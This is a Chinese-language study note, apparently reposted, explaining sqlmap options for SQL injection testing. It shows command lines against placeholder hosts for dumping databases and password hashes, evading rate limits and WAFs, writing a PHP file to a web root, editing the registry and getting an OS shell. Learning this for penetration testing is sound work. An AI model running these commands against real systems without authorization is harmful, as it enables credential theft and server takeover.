滲透測試學習 十三、 SQLmap使用詳解


SQLmap介紹

  sqlmap是一個由python語言編寫的開源的滲透測試工具,它主要是檢測SQL注入漏洞,是一款功能強大的SQL漏洞檢測利用工具。

  他可以檢測的數據庫有:access、msSQL、MySQL、oracle、postgresql、SQLserver、db2、sqlite等

  可以進行SQL盲注、union查詢、顯錯注入、延遲注入、post注入、cookie注入等,寬字節注入

  其他功能:執行命令、列舉用戶、檢測權限、自動破解、數據導出等功能,過waf

SQLmap安裝

  需要python2.7的環境,在官網上下載下來直接解壓就可以用,也可以將解壓的文件放在python的安裝路徑下。

  kali里面是直接集成好的,無需安裝,更新:sqlmap.py --update

  在Windows里面建議直接在官網上下載最新版的,不建議用命令更新。

基本參數

  sqlmap.py -h  查看幫助選項

  --is-dba  當前用戶權限

  --dbs  所有數據庫

  --current-db  網站當前數據庫

  --users  所有數據庫用戶

  --current-user  當前數據庫用戶

  --tables  參數:列表名

  --columns  參數:列字段

  --dump  參數:下載數據

  --dump-all  轉存DBMS數據庫所有表項目

  --level  測試等級(1-5),默認為1

  讀取數據庫-----讀取表-----讀取表的列-----獲取內容

  -D  指定數據庫

  -T  指定表

  -C  指定列

  --dnms=mysql  oracle  mssql  指定數據庫

  --users  枚舉所有用戶

  --passwords  枚舉所有用戶密碼

  --roles  列出數據庫管理員角色

  --privileges  列出數據庫管理員權限

  列出數據庫系統的架構

  sqlmap.py -u "" --schema --batch --exclude-sysdbs

  --schema:列出系統架構

  --batch:無提示,一切默認

  --exclude-sysdbs:排除默認的系統數據庫

探測等級

  參數:--level

  共有5個等級,默認為1,sqlmap的payload在xml/payloads.xml中,也可以自己根據相應的格式添加。

  該參數不僅影響使用哪些payload,也會影響測試的注入點,GET和POST的數據都會測試

  HTTP Cookie在等級為2的時候才會測試;

  HTTP User-Agent/Referer頭在等級為3的時候才進行檢測

  總之在不確定哪個payload或參數為注入點時,為保證全面性,建議使用高的level值,一般建議為3

顯示調試信息

  -V  顯示調試信息,共有7個級別

  0、  只顯示python錯誤以及嚴重的信息

  1、  同意顯示基本信息和警告信息(默認)

  2、  同時顯示debug信息

  3、  同時顯示注入的payload

  4、  同時顯示HTTP請求

  5、  同時顯示HTTP響應頭

  6、  同時顯示HTTP響應頁面

風險等級

  參數:--risk

  共有四個風險等級,默認是1,會測試大部分的測試語句,2會增加基於事件的測試語句,3會增加OR語句的SQL注入測試(邏輯判斷語句)

  在有些時候,例如在UPDATE的語句中,注入一個OR的測試語句,有可能導致更新整個表,可能造成很大的風險

  測試語句在xml/payloads.xml中,也可以自己添加

獲取目標

  參數:-u或--url

  格式:http(s)://targetur[:post]/[..]

  e.g:sqlmap.py -u http://www.xx.com/news.php?id=1

  從文本中獲取多個目標進行掃描

  參數:-m

  文件中保存url格式如下,sqlmap就會一個一個的逐行檢測

  www.xx1.com/news1.php?q=foobar

  www.xx2.com/news2.php?id=1

  www/xx3.com/news3/id/1*

  e.g:sqlmap.py -m c:\a.txt

獲取HTTP請求注入

  參數:-r

  sqlmap可以從一個文本文件中獲取HTTP請求,這樣就可以跳過設置一些其他參數。(如cookie、post數據等)多見於搜索型,登陸后的注入點

  e.g:sqlmap.py -r c:\a.txt

處理Google搜索結果

  參數:-g  需要掛代理

  sqlmap可以檢測注入Google的搜索結果中的GET參數(只獲取前100個結果)

  e.g:sqlmap.py -g "inurl:php?id="

--data

  此參數是吧數據以POST方式提交,sqlmap會像檢測GET參數一樣檢測POST參數

  e.g:sqlmap.py -u "" --data="id=1"

--param-del

  當GET或POST的數據需要用其他字符分割測試參數的時候需要用到此參數(參數拆分字符)

  e.g:sqlmap.py -u "" --data="query=foobar;d=1" --param-del=";"  分號連接多個參數的連接

  e.g:index.php?id=1&sid=12&did=3  默認的sqlmap可識別

     index.php?id=1;sid=12;did=3  sqlmap無法識別,會認為是一個參數

--cookie

  適用於cookie注入

  將參數加入cookie注入測試

  e.g:sqlmap.py -u "" --cookie "id=9" --table --level 2

--referer

  sqlmap可以在請求中偽造HTTP中的referer,當--level參數設定為3或者3以上的時候回嘗試對referer注入

--headers

  可以通過--headers參數來增加額外的http頭

  e.g:--headers "client-ip: 1.1.1.1'" --level 3

--proxy

  使用該參數添加代理,格式為:http://url:port

  e.g:--proxy "http://127.0.0.1:8080"

時間控制

  --delay

    可以設定兩個HTTP(s)請求間的延遲,設定為0.5的時候半秒,默認是沒有延遲(安全狗默認是1秒內不能訪問10次)

  --timeout

    可以設定一個HTTP(s)請求超過多數判定為超時,10.5表示10.5秒,默認是30秒

  --retries

    當HTTP(S)超時時,可以設定重新連接次數,默認是3次,設定隨機改變的參數值(設定重試超時)

--safe-url,--safe-freq

  有的web應用程序會在你多次訪問錯誤的請求時屏蔽掉你以后的所有的請求,這樣在sqlmap進行檢測的時候或者注入的時候可能造成錯誤請求二觸發這個策略,導致以后的檢測無法進行。

  繞過方法有兩個:

    1、--safe-url:提供一個安全不錯誤的鏈接,每隔一段時間都會訪問一下

    2、--safe-freq:提供一個安全不錯誤的鏈接,每次檢測請求后都會再訪問一下

-P

  sqlmap默認測試所有的GET和POST參數,當--level的值丹玉等於2時也會檢測HTTP Cookie頭的值,當大於等於3時也會測試User-Agent和HTTP Referer頭的值,但是需要手動用 -P

  參數設置想要測試的參數

  e.g:-P "id,user-anget"

     index.php?id&sid=2&did=3  有多個參數,但我們知道在sid處存在注入,那么我們就可以用-P指定  -P "sid=2"

--prefix,--suffix

  有些環境中,需要再注入的payload的前面或后面加一些字符,來保證payload的正常執行。

  e.g:代碼中是這樣調用數據庫的:

  $query="SELECT * FROM users WHERE id=('" &_GET['id']"') LIMIT 0,1";

  這時就需要--prefix和--suffix參數了:

  sqlmap.py -u "http://xx.xx.com/sqlmap/mysql/get_str_brackets.php?id=1" -P id --prefix "')" --suffix "AND (' abc'='anc"  閉合查詢語句

  這樣執行的SQL語句變為:

  $query="SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0,1";

--technique

  這個參數可以指定sqlmap使用的探測技術,默認情況下會測試所有的方式

  支持的探測方式如下:

  B:Boolean-based blind SQL injection  (報錯注入)

  E:Error-based SQL injection  (報錯型注入)

  U:UNION query SQL injection  (可聯合查詢注入)

  S:Stacked queries SQL injection  (可多語句查詢注入)

  T:Time-based blind SQL injection  (基於時間延遲注入)

  e.g:sqlmap.py -u "" --tech=UE

--union-cols

  默認情況下sqlmap測試UNION查詢注入會測試1-10個字段數,當--level為5的時候回增加測試到50個字段數,設定--union-cols的值應該是一段整數,如:12-16是測試12-16個字段數

--union-char

  默認情況下sqlmap針對UNION查詢的注入會使用NULL字符,但是有些清苦下會造成頁面返回失敗,而一個隨機整數是成功的,這是可以用--union-char只定UNION查詢的字符  --union-char "NULL"

--second-order

  二階注入,有些時候注入點輸入的數據看返回結果的時候並不是當前的頁面,而是另一個頁面,這時候就需要你指定到哪個頁面獲取響應判斷真假。  --second-order后門跟一個判斷頁面的URL地址

  --second-order "回顯的頁面URL"

--dump-all.--exclude-sysdbs

  使用--dump=all參數獲取所有數據庫表的內容,可同時加上--exclude-sysdbs只獲取用戶數據庫的表,需要注意在Microsoft SQL Server中master數據庫沒有考慮成為一個系統數據庫,因為有的管理員會把他當初用戶數據庫一樣來使用它

--search,-C,-T,-D  

  可以在以下三種情況下使用:

  -C后跟着用逗號分割的列名,將搜索指定的列名

  -T后跟着用逗號分割的表名,將搜索指定的表名

  -D后跟着用逗號分割的庫名,將搜索指定的庫名

  --search -C "pwd" -D xycms

  1、模糊匹配  xy_pwd

  2、精准匹配  pwd

--udf-inject,--shared-lib

  可以通過編譯MySQL注入自定義的函數(UDFs)或PostgreSQL在Windows中共享庫,DLL,或者Linux/Unix中共享對象,sqlmap將會問一些問題,上傳到服務器庫自定義函數,然后根據你的選擇執行他們,當注入完成后,sqlmap將會移除他們

  在union聯合查詢時,若是root權限執行--os-shell命令時會讓指定腳本類型,指定網站根目錄,往里面上傳文件,一個用來文件上傳一個用來執行系統命令;

  若error查詢時,是root權限執行--os-shell時就與union不同,就會用--udf(MySQL udf提權)。

-s,-t

  參數:-s

  sqlmap對每一個目標都會再output路徑下自動生成一個SQLite文件,如果用戶想指定讀取的文件路徑,就是用這個參數保存HTTP(S)日志

  參數:-t

  這個參數需要跟一個文本文件,sqlmap會把HTTP(S)請求與響應的日志保存在那里。

 --batch

  時用參數時,不需要用戶輸入,會讓sqlmap使用默認的形式一直運行下去

--charset

  強制使用字符編碼,不使用sqlmap自動識別的(如HTTP頭中的Content-Type)字符編碼,強制指定字符編碼

  e.g:--charset=GBK

--flush-session

  如果不想用之前緩存的目標session文件,可以使用該參數情況之前的session,重新測試該目標

--hex

  有時字符編碼的問題,可能導致數據丟失,可以使用hex函數來避免

  e.g:sqlmap.py -u "" --banner -hex -v 3 --parse-errors

--output-dir

  sqlmap默認把session文件跟結果文件存在output文件下,用此參數可自定義輸出路徑

  e.g:--output-dir=/tmp

--parse-errors

  從響應中獲取DBMS的錯誤信息,有時目標沒有關閉DBMS的報錯,當數據庫語句錯誤時,會輸出錯誤語句,參數可以會顯出錯誤信息

--smart

  有時對目標非常多的URL進行測試,為節省時間,只對能夠快速判斷為注入的報錯點進行注入

  e.g:sqlmap.py -u "" --batch -smart

--mobile

  有時服務端只接收移動短的訪問,此時可以設定一個手機的User-Agent來模仿手機登錄

  e.g:sqlmap.py -u "" --mobile

--identify-waf

  sqlmap可以嘗試找出WAF/IPS/IDS保護,方便用戶做出繞過方式

--check-waf

  WAF/IPS/IDS保護會影響sqlmap測試,可用該參數測試sqlmap將會使用一個不存在的參數來注入測試

  e.g:sqlmap.py -u "" --identify-waf -v 3

注冊表操作

  當數據庫為MySQL、postgresql或Microsoft SQL server,並且當前web應用支持堆查詢,當前連接數據庫的用戶也需要有權限操作注冊表

  讀取注冊表值

  參數:--reg-read

  寫入注冊表值

  參數:--reg-add

  刪除注冊表

  參數:--reg-del

  注冊表輔助選項

  參數:--reg-key  --reg-value  --reg-data  --reg-type

  需要配合之前的三個參數使用

  e.g:sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.aspx?id=1" --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-vlaue=Test --reg-type=REG_SZ --reg-data=1

暴力破解表名

  參數:--common-tables

  當使用--tables無法獲取到數據庫的表時,可以使用此參數

  通常情況下:

    1、MySQL數據庫版本小於5.0,沒有information_schema表

    2、數據庫是Microsoft access,系統表MSysObjects是不可讀的(默認)

    3、當前用戶沒有權限讀取系統中保存數據結構的表的權限

  包里破解的表在txt/common-tables-txt文件中,也可以自行添加

  --common-tables -D testdb

  union、error型的用不到  時間盲注、access數據庫、MySQL5.0以下的數據庫會用到

暴力破解列表

  參數:--common-columns

  在yxy/common-columns.txt中,也可以自行添加

  --common-columns -T text -D testdb

POST登錄框注入

  注入點:http://www.xx.com/Login.asp

  注入方法:sqlmap.py -r search-test.txt -p tfUPass  //search-test.txt請求包、tfUPass參數

       sqlmap.py -u "" --forms

       sqlmap.py -u "" --data "tfUName=1&tfUPass=1"

偽靜態注入

  注入點:http://www.xx.com/index.php/Index/view/id/40.html

  sqlmap.py -u "http://www.xx.com/index.php/Index/view/id=40*.html"

延遲注入

  --time-sec=6  默認是5秒

base64編碼注入

  sqlmap.py -u "" --temper base64encode.py --dbs

請求時間注入

  參數:--time-sec

  當時用繼續時間的盲注時,使用--time-sec參數胡設定演示時間,默認5秒

執行SQL語句

  --sql-query="select @@version"  單條執行一條語句

  --sql-shell  slqmap.py -u "" --sql-shell 回車,然后可執行多條語句,但是只能執行查詢語句

  sqlmap會自動檢查確定使用哪個SQL注入技術,如何插入檢測語句,如果是SELECT查詢語句,sqlmap將會輸出結果,如果是通過SQL注入執行其他語句,需要測試是否支持多語句執行SQL語句

  select losd_file ('c:/inetpub/wwwroot/0881/index.asp');

  select "123" into outfile 'c:/1.txt';  不能執行這種語句

文件讀寫

  從數據庫服務器中讀取文件 

  參數:--file-read

  當數據庫為MySQL、postgresql或Microsoft SQL server,並且當前用戶有權限使用特定的函數,讀取的文件是文本也可以是二進制文件

  sqlmap.py -u "http://www.xx.com/article.php?lang=cn&id=22" --file-read="c:\1.php" 

文件上傳

  參數:--file-write,file-dest

  當數據庫為MySQL、postgresql或Microsoft SQL server,並且當前用戶有權限使用特定的函數,讀取的文件是文本也可以是二進制文件

  sqlmap.py -u "http://www.xx.com/article.php?id=5" --file-write="c:\1.php" --file-dest "/ver/www/html/x.php"

命令執行

  參數:--os-cmd,--os-shell

  當數據庫為MySQL、postgresql或Microsoft SQL server,並且當前用戶有權限使用特定的函數;在MySQL、postgresql、sqlmap上傳一個二進制庫,包含用戶自定義的函數sys_exec()和sys_eval()

  cmd  執行cmd命令(win)

  shell  執行當前用戶命令

  --os-shell

  自動上傳腳本文件

  返回shell

 

2019-05-07  15:52:12


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM